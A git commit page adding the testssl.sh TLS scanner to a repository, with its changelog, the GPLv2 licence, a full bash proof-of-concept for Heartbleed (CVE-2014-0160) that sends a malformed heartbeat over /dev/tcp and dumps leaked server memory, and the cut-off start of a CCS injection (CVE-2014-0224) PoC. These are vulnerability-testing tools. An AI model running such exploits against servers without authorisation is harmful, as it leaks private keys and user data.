aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorSilvio Rhatto <rhatto@riseup.net>2014-10-24 20:44:10 -0200
committerSilvio Rhatto <rhatto@riseup.net>2014-10-24 20:44:10 -0200
commit840a5fc308496b5d0fe309e58a2aa250a54ff0b0 (patch)
tree9014fd16762ed1ef7003e20ff982fdeed7189a5d
parente290b35bf445e317b28f57e0a3bc7ab6c743ce73 (diff)
downloadssl-wrapper-840a5fc308496b5d0fe309e58a2aa250a54ff0b0.tar.gz
ssl-wrapper-840a5fc308496b5d0fe309e58a2aa250a54ff0b0.tar.bz2
Adding testssl
-rw-r--r--CHANGELOG.testssl.sh.txt339
-rw-r--r--GPLv2.txt341
-rw-r--r--bash-heartbleed.changelog.txt23
-rw-r--r--bash-heartbleed.sh145
-rw-r--r--ccs-injection.sh186
-rw-r--r--mapping-rfc.txt362
l---------testssl1
-rwxr-xr-xtestssl.sh1789
-rw-r--r--testssl.sh.asc7
9 files changed, 3193 insertions, 0 deletions
diff --git a/CHANGELOG.testssl.sh.txt b/CHANGELOG.testssl.sh.txt
new file mode 100644
index 0000000..c5cb89e
--- /dev/null
+++ b/CHANGELOG.testssl.sh.txt
@@ -0,0 +1,339 @@
+
+2.0 includes:
+
+* major release, new features:
+ * SNI
+ * STARTTLS fully supported
+ * RC4 check
+ * (P)FS check
+ * SPDY check
+ * color codes make more sense now
+ * cipher hexcodes are shown
+ * tests ciphers per protocol
+ * HSTS
+ * web and application server banner
+ * server prefereences
+ * TLS server extensions
+ * server key size
+ * cipher suite mapping from openssl to RFC
+ * heartbleed check
+ * CCS injection check
+
+---------------------
+Details:
+
+1.112
+- IPv6 display fix
+
+1.111
+- NEW: tested unter FreeBSD (works with exception of xxd in CCS)
+- getent now works under Linux and FreeBSD
+- sed -i in hsts sacrificed for compatibility
+- reomved query for IP for finishing banner, is now called once in parse_hn_port
+- GOST warning after banner
+- empty build date is not displayed anymore
+- long build date strings minimized
+- FIXED: IPv6 address are displayed again
+
+1.110
+- NEW: adding Russian GOST cipher support by providing a config file on the fly
+- adding the compile date of openssl in the banner
+
+1.109
+- minor IPv6 fixes
+
+1.108
+- NEW: Major rewrite of output functions. Now using printf instead of "echo -e" for BSD and MacOSX compatibility
+
+1.107
+- improved IP address stuff
+
+1.106
+- minor fixes
+
+1.105
+- NEW: working prototype for CCS injection
+
+1.104
+- NEW: everywhere *also* RFC style ciphers -- if the mapping file is found
+- unitary calls to display cipher suites
+
+1.103
+- NEW: telnet support for STARTTLS (works only with a patched openssl version)
+ --> not tested (lack of server)
+
+1.102
+- NEW: test for BREACH (experimental)
+
+1.101
+- BUGFIX: muted too verbose output of which on CentOS/RHEL
+- BUGFIX: muted too verbose output of netcat/nc on CentOS/RHEL+Debian
+
+1.100
+- further cleanup
+ - starttls now tests allciphers() instead of cipher_per_proto
+ (normal use case makes most sense here)
+ - ENV J_POSITIV --> SHOW_EACH_C
+- finding mapping-rfc.txt is now a bit smarter
+- preparations for ChaCha20-Poly1305 (would have provided binaries but
+ "openssl s_client -connect" with that ciphersuite fails currently with
+ a handshake error though client and server hello succeeded!)
+
+1.99
+- BUGFIX: now really really everywhere testing the IP with supplied name
+- locking out openssl < 0.9.8f, new function called "old_fart" ;-)
+- FEATURE: displaying PTR record of IP
+- FEATURE: displaying further IPv4/IPv6 addresses
+- bit of a cleanup
+
+1.98
+- http_header is in total only called once
+- better parsing of default protocol (FIXME shouldn't appear anymore)
+
+1.97
+- reduced sleep time for server hello and payload reply (heartbleed)
+
+1.96
+- NEW: (experimental) heartbleed support with bash sockets (shell only SSL handshake!)
+ see also https://testssl.sh/bash-heartbleed.sh
+
+1.95 (2.0rc3)
+- changed cmdline options for CRIME and renego vuln to uppercase
+- NEW: displays server key size now
+- NEW: displays TLS server extensions (might kill old openssl versions)
+- brown warning if HSTS < 180 days
+- brown warning if SSLv3 is offered as default protocol
+
+1.94
+- NEW: prototype of mapping to RFC cipher suite names, needed file mapping-rfc.txt in same dir
+ as of now only used for 'testssl.sh -V'
+- internal renaming: it was supposed to be "cipherlists" instead of "ciphersuites"
+- additional tests for cipherlists DES, 3DES, ADH
+
+1.93
+- BUGFIX: removed space in Server banner fixed (at the expense of showing just nothing if Server string is empty)
+
+1.92
+- BUGFIX: fixed error of faulty detected empty server string
+
+1.91
+- replaced most lcyan to brown (=not really bad but somehow)
+- empty server string better displayed
+- prefered CBC TLS 1.2 cipher is now brown (lucky13)
+
+1.90
+- fix for netweaver banner (server is lowercase)
+- no server banner is no disadvantage (color code)
+- 1 more blank proto check
+- server preference is better displayed
+
+1.89
+- reordered! : protocols + cipher come first
+- colorized prefered server preference (e.g. CBC+RC4 is light red now, TLSv1.2 green)
+- SSLv3 is now light cyan
+- NEW: -P|--preference now in help menu
+- light cyan is more appropriate than red for HSTS
+
+1.88
+- NEW: prototype for protocol and cipher preference
+- prototype for session ticket
+
+1.87
+- changed just the version string to rc1
+
+1.86
+ - NEW: App banner now production, except 2 liners
+ - DEBUG: 1 is now true as everywhere else
+ - CRIME+Renego prettier
+ - last optical polish for RC4, PFS
+
+1.85
+ - NEW: appbanner (also 2 lines like asp.net)
+ - OSSL_VER_MAJOR/MINOR/APPENDIX
+ - less bold because bold headlines as bold should be reserved for emphasize findings
+ - tabbed output also for protocols and cipher classes
+ - unify neat printing
+
+1.84
+ - NEW: deprecating openssl version <0.98
+ - displaying a warning >= 0.98 < 1.0
+ - NEW: neat print also for all ciphers (-E,-e)
+
+1.83
+- BUGFIX: results from unit test: logical error in PFS+RC4 fixed
+- headline of -V / PFS+RC4 ciphers unified
+
+1.82
+- NEW: output for -V now better (bits seperate, spacing improved)
+
+1.81
+- output for RC4+PFS now better (with headline, bits seperate, spacing improved)
+- both also sorted by encr. strength .. umm ..err bits!
+
+1.80
+- order of finding supplied binary extended (first one wins):
+ 1. use supplied variable $OPENSSL
+ 2. use "openssl" in same path as testssl.sh
+ 3. use "openssl.`uname -m`" in same path as testssl.sh
+ 4. use anything in system $PATH (return value of "which"
+
+1.79
+- STARTTLS options w/o trailing 's' now (easier)
+- commented code for CRIME SPDY
+- issue a warning for openssl < 0.9.7 ( that version won't work anyway probably)
+- NPN protos as a global var
+- pretty print with fixed columns: PFS, RC4, allciphers, cipher_per_proto
+
+1.78
+- -E, -e now sorted by encryption strength (note: it's only encr key length)
+- -V now pretty prints all local ciphers
+- -V <pattern> now pretty prints all local ciphers matching pattern (plain string, no regex)
+- bugfix: SSLv2 cipher hex codes has 3 bytes!
+
+1.77
+- removed legacy code (PROD_REL var)
+
+1.76
+- bash was gone!! desaster for Ubuntu, fixed
+- starttls+rc4 check: bottom line was wrong
+- starttls had too much output (certificate) at first a/v check
+
+1.75
+- location is now https://testssl.sh
+- be nice: banner, version, help also works for BSD folks (on dash)
+- bug in server banner fixed
+- sneaky referer and user agent possible
+
+1.74
+- Debian 7 fix
+- ident obsoleted
+
+1.72
+- removed obsolete GREP
+- SWURL/SWCONTACT
+- output for positive RC4 better
+
+1.71
+- workaround for buggy bash (RC4)
+- colors improved
+ - blue is now reserved for headline
+ - magenta for local probs
+ - in RC4 removal of SSL protocol provided by openssl
+
+1.70
+- DEBUG in http_headers now as expected
+- <?xml marker as HTML body understood
+
+1.69
+- HTTP 1.1 header
+- removed in each cipher the proto openssl is returning
++ NEW: cipher_per_proto
+
+1.68
+- header parser for openssl
+- HSTS
+- server banner string
+- vulnerabilities closer+condensed
+
+1.68
+- header parser for openssl
+- HSTS
+- server banner string
+- vulnerabilities closer+condensed
+
+1.67
+- signal green if no SSLv3
+- cipher hex code now in square brackets
+
+
+[..]
+
+
+1.36
+* fixed issue while connecting to non-webservers
+
+1.35
+* fixed portability issue on Ubuntu
+
+1.34
+* ip(v4) address in output, helps to tell different systems apart later on
+* local hostname in output
+
+1.31 (Halloween Release)
+* bugfix: SSLv2 was kind of borken
+* now it works for sure but ssl protocol are kind of ugly
+
+1.30b (25.10.2012)
+* bugfix: TLS 1.1/1.2 may lead to false negatives
+* bugfix: CMDLINE -a/-e was misleading, now similar to help menu
+
+1.3 (10/13/2012)
+* can test now for cipher suites only
+* can test now for protocols suites only
+* tests for tls v1.1/v1.2 of local openssl supports it
+* commandline "all "is rename to "each-cipher"
+* banner when it's done
+
+1.21a (10/4/2012)
+* tests whether openssl has support for zlib compiled so that it avoids a false negative
+
+1.21 (10/4/2012)
+* CRIME support
+
+1.20b
+* bugfixed release
+
+1.20a
+* code cleanup
+* showciphers variable introduced: only show ciphers if this is set (it is by
+ default now and there's a comment
+* openssl version + path to it in the banner
+
+
+1.20
+* bugfix (ssl in ssl handshake failure is sometimes too much)
+* date in output
+* autodetection of CVS version removed
+
+1.19
+* bugfix
+
+1.18
+* Rearragement of arguments: URL comes now always last!
+* small code cleanups for readability
+* individual cipher test is now with bold headline, not blue
+* NOPARANOID flag tells whether medium grade ciphers are ok. NOW they are (=<1.17 was paranoid)
+
+1.17
+* SSL tests now for renegotiation vulnerabilty!
+* version detection of testssl.sh
+* program has a banner
+* fixed bug leading to a file named "1"
+* comment for 128Bit ciphers
+
+1.16
+* major code cleanups
+* cmd line options: port is now in first argument!!
+* help is more verbose
+* check whether on other server side is ssl server listening
+* https:// can be now supplied also on the command line
+* test all ciphers now
+* new cleanup routine
+* -a does not do standard test afterward, you need to run testssl a second
+ time w/o -a if you want this
+
+1.12
+* tests also medium grade ciphers (which you should NOT use)
+* tests now also high grade ciphers which you SHOULD ONLY use
+* switch for more verbose output of cipher for those cryptographically interested .
+ in rows: SSL version, Key eXchange, Authentication, Encryption and Message Authentication Code
+* this is per default enabled (provide otherwise "" as VERB_CLIST)
+* as a courtesy I am providing 64+32 Linux binaries for testing 56 Bit ciphers
+
+1.11
+* Hint for howto enable 56 Bit Ciphers
+* possible to specify where openssl is (hardcoded, $ENV, last resort: auto)
+* warns if netcat is not there
+
+1.10
+* somewhat first released version
diff --git a/GPLv2.txt b/GPLv2.txt
new file mode 100644
index 0000000..21b9363
--- /dev/null
+++ b/GPLv2.txt
@@ -0,0 +1,341 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The licenses for most software are designed to take away your
+freedom to share and change it. By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users. This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it. (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.) You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+ To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have. You must make sure that they, too, receive or can get the
+source code. And you must show them these terms so they know their
+rights.
+
+ We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+ Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software. If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+ Finally, any free program is threatened constantly by software
+patents. We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary. To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ GNU GENERAL PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License. The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language. (Hereinafter, translation is included without limitation in
+the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope. The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+ 1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+ 2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices
+ stating that you changed the files and the date of any change.
+
+ b) You must cause any work that you distribute or publish, that in
+ whole or in part contains or is derived from the Program or any
+ part thereof, to be licensed as a whole at no charge to all third
+ parties under the terms of this License.
+
+ c) If the modified program normally reads commands interactively
+ when run, you must cause it, when started running for such
+ interactive use in the most ordinary way, to print or display an
+ announcement including an appropriate copyright notice and a
+ notice that there is no warranty (or else, saying that you provide
+ a warranty) and that users may redistribute the program under
+ these conditions, and telling the user how to view a copy of this
+ License. (Exception: if the Program itself is interactive but
+ does not normally print such an announcement, your work based on
+ the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole. If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works. But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+ 3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+ a) Accompany it with the complete corresponding machine-readable
+ source code, which must be distributed under the terms of Sections
+ 1 and 2 above on a medium customarily used for software interchange; or,
+
+ b) Accompany it with a written offer, valid for at least three
+ years, to give any third party, for a charge no more than your
+ cost of physically performing source distribution, a complete
+ machine-readable copy of the corresponding source code, to be
+ distributed under the terms of Sections 1 and 2 above on a medium
+ customarily used for software interchange; or,
+
+ c) Accompany it with the information you received as to the offer
+ to distribute corresponding source code. (This alternative is
+ allowed only for noncommercial distribution and only if you
+ received the program in object code or executable form with such
+ an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it. For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable. However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+ 4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License. Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+ 5. You are not required to accept this License, since you have not
+signed it. However, nothing else grants you permission to modify or
+distribute the Program or its derivative works. These actions are
+prohibited by law if you do not accept this License. Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+ 6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions. You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+ 7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all. For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices. Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+ 8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded. In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+ 9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation. If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+ 10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission. For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this. Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+ NO WARRANTY
+
+ 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+ 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+ END OF TERMS AND CONDITIONS
+
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+ <one line to give the program's name and a brief idea of what it does.>
+ Copyright (C) 19yy <name of author>
+
+ This program is free software; you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+ Gnomovision version 69, Copyright (C) 19yy name of author
+ Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary. Here is a sample; alter the names:
+
+ Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+ `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+ <signature of Ty Coon>, 1 April 1989
+ Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs. If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library. If this is what you want to do, use the GNU Library General
+Public License instead of this License.
diff --git a/bash-heartbleed.changelog.txt b/bash-heartbleed.changelog.txt
new file mode 100644
index 0000000..898511d
--- /dev/null
+++ b/bash-heartbleed.changelog.txt
@@ -0,0 +1,23 @@
+1.7, 2014-04-30 23:06:55 +0200;
+- legal disclaimer
+----------------------------
+1.6 2014-04-18 14:01:19 +0200;
+- possible to supply URLs now
+- cleanup
+----------------------------
+1.5, 2014-04-18 11:01:51 +0200;
+- broader ascii output
+- back at 64k
+----------------------------
+1.4, 2014-04-15 21:56:47 +0200;
+- few comments for educational purposes added
+----------------------------
+1.3,
+- retrieves data
+----------------------------
+1.2, 2014-04-15 20:58:55 +0200;
+- PoC complete
+----------------------------
+1.1, 2014-04-15 20:47:48 +0200;
+- Initial version
+
diff --git a/bash-heartbleed.sh b/bash-heartbleed.sh
new file mode 100644
index 0000000..f7481ef
--- /dev/null
+++ b/bash-heartbleed.sh
@@ -0,0 +1,145 @@
+#!/bin/bash
+
+# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+NODE=""
+SLEEP=2
+COL_WIDTH=32
+
+[ -z "$1" ] && exit 1
+
+# TLS 1.0=x01 1.1=0x02, 1.2=0x3
+# the PoC contains per default only check for TLS1.0 as the is the least common denominator
+TLSV=${2:-x01}
+
+heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00"
+## ^^^^^^^ this is the thing!
+
+client_hello="
+# TLS header ( 5 bytes)
+,x16, # Content type (x16 for handshake)
+x03, tls_version, # TLS Version
+x00, xdc, # Length
+# Handshake header
+x01, # Type (x01 for ClientHello)
+x00, x00, xd8, # Length
+x03, tls_version, # TLS Version
+# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+x53, x43, x5b, x90, x9d, x9b, x72, x0b,
+xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+x03, x90, x9f, x77, x04, x33, xd4, xde,
+x00, # Session ID length
+x00, x66, # Cipher suites length
+# Cipher suites (51 suites)
+xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
+x00, x39, x00, x38, x00, x88, x00, x87,
+xc0, x0f, xc0, x05, x00, x35, x00, x84,
+xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
+x00, x16, x00, x13, xc0, x0d, xc0, x03,
+x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
+xc0, x1e, x00, x33, x00, x32, x00, x9a,
+x00, x99, x00, x45, x00, x44, xc0, x0e,
+xc0, x04, x00, x2f, x00, x96, x00, x41,
+xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
+x00, x05, x00, x04, x00, x15, x00, x12,
+x00, x09, x00, x14, x00, x11, x00, x08,
+x00, x06, x00, x03, x00, xff,
+x01, # Compression methods length
+x00, # Compression method (x00 for NULL)
+x00, x49, # Extensions length
+# Extension: ec_point_formats
+x00, x0b, x00, x04, x03, x00, x01, x02,
+# Extension: elliptic_curves
+x00, x0a, x00, x34, x00, x32, x00, x0e,
+x00, x0d, x00, x19, x00, x0b, x00, x0c,
+x00, x18, x00, x09, x00, x0a, x00, x16,
+x00, x17, x00, x08, x00, x06, x00, x07,
+x00, x14, x00, x15, x00, x04, x00, x05,
+x00, x12, x00, x13, x00, x01, x00, x02,
+x00, x03, x00, x0f, x00, x10, x00, x11,
+# Extension: SessionTicket TLS
+x00, x23, x00, x00,
+# Extension: Heartbeat
+x00, x0f, x00, x01, x01
+"
+msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
+
+
+parse_hn_port() {
+ PORT=443 # unless otherwise auto-determined, see below
+ NODE="$1"
+
+ # strip "https", supposed it was supplied additionally
+ echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
+
+ # strip trailing urlpath
+ NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+ # determine port, supposed it was supplied additionally
+ echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
+ 's/\:.*$//'`
+}
+
+socksend() {
+ data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
+ echo "\"$data\""
+ echo -en "$data" >&5 &
+ sleep $SLEEP
+}
+
+sockread()
+{
+ reply=`dd bs=$1 count=1 <&5 2>/dev/null`
+}
+
+
+#### main
+
+parse_hn_port "$1"
+
+if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+ echo "`basename $0`: unable to connect to $NODE:$PORT"
+ exit 2
+fi
+# socket is now open with fd 5
+
+
+
+echo "##### sending client hello:"
+socksend "$msg" $TLSV
+
+sockread 10000
+echo "##### server hello:"
+echo -e "$reply" | xxd | head -20
+echo "[...]"
+echo
+
+echo "##### sending payload with TLS version $TLSV:"
+socksend $heartbleed_payload $TLSV
+
+sockread 65534
+echo "###### heartbleed reply: "
+echo -e "$reply" | xxd -c$COL_WIDTH
+echo
+
+lines_returned=`echo -e "$reply" | xxd | wc -l`
+if [ $lines_returned -gt 1 ]; then
+ tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
+ ret=1
+else
+ tput bold; tput setaf 2; echo "ok"; tput sgr0
+ ret=0
+fi
+echo
+
+exit $ret
+
+# vim:tw=100:ts=5:sw=5
+# $Id: bash-heartbleed.sh,v 1.6 2014/04/18 12:01:19 dirkw Exp $
diff --git a/ccs-injection.sh b/ccs-injection.sh
new file mode 100644
index 0000000..0b7c58e
--- /dev/null
+++ b/ccs-injection.sh
@@ -0,0 +1,186 @@
+#!/bin/bash
+
+# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224), see https://www.openssl.org/news/secadv_20140605.txt
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
+# thx Ramon de C Valle
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+NODE=""
+SLEEP=2
+DEBUG=${DEBUG:-0}
+
+[ -z "$1" ] && exit 1
+
+# TLS 1.0=x01 1.1=0x02, 1.2=0x3
+# the PoC contains per default only check for TLS1.0 as the is the least common denominator
+TLSV=${2:-x01}
+
+ccs_message="\x14\x03\tls_version\x00\x01\x01"
+## ^^^^^^^ this is the thing!
+
+client_hello="
+# TLS header ( 5 bytes)
+,x16, # Content type (x16 for handshake)
+x03, tls_version, # TLS Version
+x00, x93, # Length
+# Handshake header
+x01, # Type (x01 for ClientHello)
+x00, x00, x8f, # Length
+x03, tls_version, # TLS Version
+# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+x53, x9c, xb2, xcb, x4b,
+x42, xf9, x2d, x0b, xe5, x9c, x21, xf5, xa3, x89, xca, x7a, xd9, xb4, xab, x3f,
+xd3, x22, x21, x5e, xc4, x65, x0d, x1e, xce, xed, xc2,
+x00, # Session ID length
